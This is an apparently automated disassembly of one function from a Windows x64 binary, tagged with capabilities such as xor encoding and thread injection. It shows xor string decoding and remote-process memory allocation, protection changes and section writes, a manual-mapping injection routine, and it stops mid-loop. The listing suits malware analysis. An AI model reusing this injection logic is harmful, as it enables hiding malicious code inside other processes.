Function at 0x140272a80
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f8
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x1402bd028]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x5a4d
mov r14, rdx
mov r13, rcx
cmp word [rdx], ax
je 0x140272d7b
cmp byte [0x1402ac7cd], 0
mov eax, dword [0x1402ac7c8]
movsd xmm0, qword [str._b_3___o7:92S_]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1402ac7cc]
mov word [rsp + 0x5c], ax
movsd qword [rsp + 0x50], xmm0
je 0x140272d6a
xor ebx, ebx
cmp dword [0x1402bd008], 2
jl 0x140272d12
movdqa xmm5, xmmword [0x1402ad0a0]
mov r15d, 6
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm2, xmm5
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
mov r12d, 0x1f
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
mov r14d, 5
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
movd xmm11, r12d
movd xmm9, r15d
movd xmm7, r14d
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0d0]
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
movdqa xmm5, xmmword [0x1402ad0c0]
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str._b_3___o7:92S_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm5
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
punpckhdq xmm1, xmm5
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmm2, xmm5
pxor xmm3, xmm0
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
movd dword [rsp + 0x50], xmm3
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0d0]
packuswb xmm3, xmm3
psubd xmm5, xmm0
mov ebx, 8
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
pxor xmm3, xmm0
movd dword [rsp + 0x54], xmm3
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0xe
jl 0x140272d20
lea rcx, [rsp + 0x50]
call fcn.140202680
xor al, al
jmp 0x140277ba9
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, r14
mov qword [rbp - 0x38], r15
cmp word [r15 + 4], ax
je 0x14027305b
cmp byte [0x1402ac839], 0
movups xmm0, xmmword [str._b_3___o__4_4_2kc]
movzx eax, word [0x1402ac838]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14027304a
xor ebx, ebx
cmp dword [0x1402bd008], 2
jl 0x140272fee
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad0d0]
movdqa xmm13, xmmword [0x1402ad1a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x140272e30
cmp eax, 0x12
jge 0x14027304a
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x12
jl 0x140273000
lea rcx, [rsp + 0x50]
call fcn.140202680
xor al, al
jmp 0x140277ba9
movzx eax, byte [0x1402ac560]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [str._a__i_EQ]
xor al, 0x51
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x51], 0x43
xor byte [rsp + 0x52], 0x45
xor byte [rsp + 0x53], 0x47
xor byte [rsp + 0x54], 0x49
xor byte [rsp + 0x55], 0x4b
xor byte [rsp + 0x56], 0x4d
xor byte [rsp + 0x57], 0x4f
mov byte [rsp + 0x58], al
mov byte [rsp + 0x50], 0x46
call fcn.140202680
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x50], rax
mov r12, rax
test rax, rax
jne 0x1402733be
call qword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x1402ac6b8]
movzx ecx, word [0x1402ac6e8]
xor ebx, ebx
cmp dword [0x1402bd008], 2
mov r10d, eax
movups xmm1, xmmword [0x1402ac6c8]
mov word [rbp - 0x68], cx
movzx ecx, byte [0x1402ac6ea]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x66], cl
movups xmm0, xmmword [0x1402ac6d8]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14027334e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad0d0]
movdqa xmm13, xmmword [0x1402ad1a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x140273190
cmp eax, 0x33
jge 0x1402733aa
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x33
jl 0x140273360
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.140202680
xor al, al
jmp 0x140277ba9
xor ebx, ebx
lea rax, [rbp + 0x54]
mov dword [rbp + 0x54], ebx
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x30], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x28], rax
mov rcx, r13
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 1
mov qword [rbp + 8], 1
mov qword [rbp - 0x18], r12
mov qword [rbp], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140273734
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402ac695], bl
mov r10d, eax
movups xmm0, xmmword [0x1402ac678]
mov ecx, dword [0x1402ac690]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x1402ac694]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x1402ac688]
movsd qword [rsp + 0x78], xmm0
je 0x14027370a
cmp dword [0x1402bd008], 2
jl 0x1402736b0
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x1402734f2
cmp eax, 0x1e
jge 0x14027370a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1e
jl 0x1402736c0
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.140202680
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140277ba9
mov qword [rsp + 0x240], rsi
mov esi, ebx
mov qword [rsp + 0x1f0], rdi
movzx edi, word [r15 + 0x14]
add rdi, 0x2c
cmp word [r15 + 6], bx
je 0x14027379b
add rdi, r15
nop dword [rax]
mov eax, dword [rdi - 4]
test eax, eax
je 0x14027378c
mov r8d, dword [rdi]
mov r9d, eax
mov edx, dword [rdi - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140273a94
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x140273760
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x48], rax
mov rdi, rax
test rax, rax
jne 0x140273d82
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x1402bd008], 2
mov r10d, eax
movups xmm0, xmmword [0x1402ac840]
mov ecx, dword [0x1402ac870]
movups xmm1, xmmword [0x1402ac850]
mov dword [rbp - 0x68], ecx
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [0x1402ac860]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x140273a2e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x140273870
cmp eax, 0x34
jge 0x140273a8a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x34
jl 0x140273a40
lea rcx, [rsp + 0x68]
jmp 0x140273d5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402ac5a9], bl
mov r10d, eax
movups xmm0, xmmword [0x1402ac590]
movzx ecx, word [0x1402ac5a8]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac5a0]
movsd qword [rsp + 0x78], xmm0
je 0x140273d5a
cmp dword [0x1402bd008], 2
jl 0x140273cfe
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad0d0]
movdqa xmm13, xmmword [0x1402ad1a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
